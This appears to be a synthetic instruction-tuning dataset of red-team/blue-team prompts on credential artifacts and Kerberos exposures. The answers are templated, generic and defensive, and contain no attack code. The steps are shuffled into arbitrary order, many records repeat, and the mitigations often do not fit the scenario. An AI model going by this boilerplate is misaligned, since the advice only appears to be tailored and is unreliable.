{"instruction": "Backups containing sensitive account data: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Backups containing sensitive account data", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate artifacts with logs to determine timeline and scope.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Browser tokens present in user profile: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Browser tokens present in user profile", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 3: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 4: Correlate artifacts with logs to determine timeline and scope.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Potential LSASS artifacts on host: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Potential LSASS artifacts on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 3: Correlate artifacts with logs to determine timeline and scope.\n\nStep 4: Document detection opportunities and recommend telemetry to capture similar activity.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Browser tokens present in user profile: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Browser tokens present in user profile", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Correlate artifacts with logs to determine timeline and scope.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Config files referencing service credentials: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Config files referencing service credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 3: Correlate artifacts with logs to determine timeline and scope.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Backups containing sensitive account data: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Backups containing sensitive account data", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 3: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 4: Correlate artifacts with logs to determine timeline and scope.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Browser tokens present in user profile: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Browser tokens present in user profile", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 3: Correlate artifacts with logs to determine timeline and scope.\n\nStep 4: Document detection opportunities and recommend telemetry to capture similar activity.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Backups containing sensitive account data: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Backups containing sensitive account data", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 3: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Backups containing sensitive account data: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Backups containing sensitive account data", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 3: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 4: Correlate artifacts with logs to determine timeline and scope.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Potential LSASS artifacts on host: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Potential LSASS artifacts on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Preserve artifacts and copy them for offline analysis in a lab.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Browser tokens present in user profile: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Browser tokens present in user profile", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 3: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Backups containing sensitive account data: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Backups containing sensitive account data", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate artifacts with logs to determine timeline and scope.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Preserve artifacts and copy them for offline analysis in a lab.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Backups containing sensitive account data: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Backups containing sensitive account data", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Config files referencing service credentials: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Config files referencing service credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate artifacts with logs to determine timeline and scope.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Constrained delegation entries present: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Constrained delegation entries present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 3: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 4: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Cross-forest trust relationships exist: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Cross-forest trust relationships exist", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 3: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 4: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Service Principal Names (SPNs) enumerated: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Service Principal Names (SPNs) enumerated", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 3: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 4: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Constrained delegation entries present: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Constrained delegation entries present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 3: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 4: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Service Principal Names (SPNs) enumerated: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Service Principal Names (SPNs) enumerated", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 3: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 4: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Constrained delegation entries present: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Constrained delegation entries present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 3: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 4: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Constrained delegation entries present: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Constrained delegation entries present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 3: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 4: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Service Principal Names (SPNs) enumerated: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Service Principal Names (SPNs) enumerated", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 3: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 4: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Cross-forest trust relationships exist: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Cross-forest trust relationships exist", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 3: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 4: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Accounts flagged with no-preauth: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Accounts flagged with no-preauth", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 3: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 4: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Cross-forest trust relationships exist: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Cross-forest trust relationships exist", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 3: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 4: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Service Principal Names (SPNs) enumerated: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Service Principal Names (SPNs) enumerated", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 3: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 4: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Cross-forest trust relationships exist: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Cross-forest trust relationships exist", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 3: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 4: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Constrained delegation entries present: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Constrained delegation entries present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 3: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 4: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Cross-forest trust relationships exist: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Cross-forest trust relationships exist", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 3: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 4: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Constrained delegation entries present: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Constrained delegation entries present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 3: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 4: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Accounts flagged with no-preauth: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Accounts flagged with no-preauth", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 3: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 4: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Service Principal Names (SPNs) enumerated: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Service Principal Names (SPNs) enumerated", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 3: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 4: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Constrained delegation entries present: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Constrained delegation entries present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 3: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 4: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Cross-forest trust relationships exist: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Cross-forest trust relationships exist", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 3: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 4: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Service Principal Names (SPNs) enumerated: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Service Principal Names (SPNs) enumerated", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 3: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 4: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Cross-forest trust relationships exist: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Cross-forest trust relationships exist", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 3: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 4: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Constrained delegation entries present: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Constrained delegation entries present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 3: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 4: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Constrained delegation entries present: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Constrained delegation entries present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 3: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 4: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Cross-forest trust relationships exist: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Cross-forest trust relationships exist", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 3: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 4: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Constrained delegation entries present: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Constrained delegation entries present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 3: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 4: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Cross-forest trust relationships exist: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Cross-forest trust relationships exist", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 3: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 4: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Constrained delegation entries present: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Constrained delegation entries present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 3: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 4: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Constrained delegation entries present: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Constrained delegation entries present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 3: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 4: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Constrained delegation entries present: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Constrained delegation entries present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 3: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 4: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
